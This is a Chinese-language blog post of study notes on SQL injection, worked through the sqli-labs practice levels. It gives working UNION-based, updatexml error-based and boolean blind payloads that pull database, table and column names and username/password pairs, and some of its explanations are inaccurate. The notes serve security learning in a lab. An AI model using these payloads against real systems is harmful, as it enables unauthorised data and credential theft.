sql注入总结-1

SQL注入

1.查看类型

如果是字符型注入 我们可以输入?id=1\ 弹出的

near ''1') LIMIT 0,1 报错类 型为')

near ''1')) LIMIT 0,1 报错类型为'))

切在变为?id=1\--+后恢复正常则可以判断类型

2.id=1和id=-1的区别

    • id=1:这个条件通常用于查找数据库中 id 列值为 1 的记录。在大多数数据库中,id 通常用作主键,每个记录都有一个唯一的 id 值。因此,这个查询很可能返回数据库中 id1 的那条记录。

      这部分输入首先提供了一个无效的查询条件(-1 通常不是一个有效的 id 值,假设 id 应该是正数),并且闭合了原始查询中可能存在的单引号。这通常会导致原始查询返回空结果集,为后续的 UNION 操作做准备。

    • id=-1:这个条件用于查找 id 列值为 -1 的记录。由于 -1 不是一个通常用作主键的值(主键通常是从正整数开始的),这个查询可能不会返回任何结果,除非数据库中确实存在 id-1 的记录。

  1. 查询结果

    • 使用 id=1 作为条件的查询很可能会返回一条具体的记录,前提是数据库中存在 id1 的记录。

    • 使用 id=-1 作为条件的查询则可能不会返回任何记录,因为 -1 通常不会是有效的主键值。

在SQL注入的上下文中,使用 id=-1 可能是出于以下原因:

  • 避免返回真实数据 :攻击者可能故意使用一个不可能的 id 值(如 -1),以确保原始查询不会返回任何真实的数据。这样做可以为后续的 UNION 操作清理结果集,使得注入的数据更容易被识别。

    使用union语句就需要id=-1

    3.union语句

    ?id=-1'

    union select 1,table_name,3 from information_schema.tables where table_schema='security' limit 3,1 --+

    相当于 select * from student union select 1,table_name,3 from information_schema.tables where table_schema='security' limit 3,1 --+

    ?id=-1为 select * from student部分 主要与后面割裂

第一关

判断为字符 ' 型注入

1.手工查询有多少栏目

?id=1' order by 2--+

发现3的时候可以,4的时候不可以,说明有3列

2.显示报错位

?id=-1' union select 1,2,3 --+

当union前面的语句为false,才会执行后面语句

3.爆库名

?id=-1' union select 1,database(),3 --+

database()为函数 可以看到该数据库

4.爆表名

?id=-1'

union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

group_concat(table_name) 是一个SQL函数,它将 information_schema.tables 表中所有 table_name 列的值连接成一个字符串。

5.爆列名

?id=-1'

union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+

6.爆数据

?id=-1'

union select 1,group_concat(username),group_concat(password) from users --+

优化排版

?id=-1'

union select 1,group_concat(username,0x3a,password,0x3C,0x68,0x72,0x2F,0x3E),3 from users --+

  • 0x3a 是十六进制编码的冒号字符 :

  • 0x3C,0x68,0x72,0x2F,0x3E 是十六进制编码的字符串 </hr>,它看起来像是HTML标签 </hr>,但实际上 <hr> 是不正确的HTML标签(应该是 <hr/><hr>)。这可能是一个错误,或者攻击者可能有其他目的。

2---4关只有闭合方式不同 公式同上

第5关

1.?id=1\ 判断是字符型注入 且为 ' 闭合

2.判断注入点

?id=1' and 1=1 --+

注入点判断

  • 您输入的 ?id=1' and 1=1 --+ 是一个典型的测试语句,用于检查注入点是否对SQL逻辑产生影响。因为 1=1 是一个永真条件,如果页面在输入这个条件后显示 "You are in...",则意味着注入点存在,并且您可以通过改变条件来控制SQL逻辑。

  • 但是,由于页面没有回显,您可能需要尝试其他方法来确认注入点。

基于布尔值的盲注

  • 因为页面没有直接回显数据库信息,您需要根据页面内容的变化来判断注入是否成功。

  • 尝试使用不同的逻辑条件,例如:

    • ?id=1' and 1=2 --+:如果页面不显示 "You are in...",则表示注入点可能存在,因为 1=2 是一个永假条件,应当导致原始查询失败。

    • ?id=1' and '1'='1:这是一个永真条件,如果页面显示 "You are in...",则表示注入点存在。

    • ?id=1' and '1'='2:这是一个永假条件,如果页面不显示 "You are in...",则进一步确认注入点存在。

3.爆库名

?id=1' and updatexml(1,concat(0x7e,(database()),0x7e),1) --+

  1. ?id=1':这部分输入闭合了原始查询中可能存在的单引号,并提供了初始的查询条件。

  2. and:这是一个逻辑运算符,用于在原始查询的基础上添加额外的条件。

  3. updatexml():这是MySQL数据库中的一个函数,用于更新XML文档中的内容。它的三个参数分别是:

    • 第一个参数:XML文档的路径。

    • 第二个参数:要更新的内容。

    • 第三个参数:可选,表示更新的内容类型。

  4. concat(0x7e,(database()),0x7e):这是一个 concat() 函数,用于连接字符串。在这个例子中,它连接了以下三个部分:

    • 0x7e:这是十六进制编码的波浪号字符 ~

    • (database()):这是MySQL的 database() 函数,返回当前数据库的名称。

    • 0x7e:又是十六进制编码的波浪号字符 ~

  5. --+:这是SQL注释符号,用于注释掉原始查询中可能存在的任何后续代码,以防止语法错误。

updatexml()` 函数可能需要特定的权限才能执行。

因此,这种攻击方法通常只能在特定条件下成功,例如在渗透测试或教学环境中。在真实环境中,攻击者可能需要使用更复杂或不同的方法来利用SQL注入漏洞。

2.爆表名

?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 3,1),0x7e),1) --+

③爆列名

?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) --+

4.爆数据

?id=1' and updatexml(1,concat(0x7e,(select group_concat(username,password)from users),0x7e),1) --+

第6关

1.?id=1\ 判断是字符型注入 且为 '' 闭合

2.判断数据库长度

?id=1" and length(database())<8

?id=1" and length(database())<9

所以库名长度=8

相关推荐
晓风残月Yuperman19 分钟前
ORA-03137: TTC 协议内部错误
数据库·oracle
ever_up9734 小时前
EasyExcel的导入与导出及在实际项目生产场景的一下应用例子
java·开发语言·数据库
鹿子铭5 小时前
单线程Redis:Redis为什么这么快
数据库·redis
JSON_L6 小时前
MySQL 事务处理
数据库·mysql
爱打lan球的程序员8 小时前
redis分布式锁和lua脚本
数据库·redis·分布式
说书客啊8 小时前
计算机毕业设计 | springboot旅行旅游网站管理系统(附源码)
java·数据库·spring boot·后端·毕业设计·课程设计·旅游
hummhumm8 小时前
数据库系统 第46节 数据库版本控制
java·javascript·数据库·python·sql·json·database
ac-er88888 小时前
Flask如何创建并运行数据库迁移
数据库·python·flask
传而习乎9 小时前
【Postgresql】地理空间数据的存储与查询,查询效率优化策略,数据类型与查询速度的影响
数据库·postgresql
King.6249 小时前
SQLynx如何提高企业数据库安全?
数据库·sql·mysql·postgresql·oracle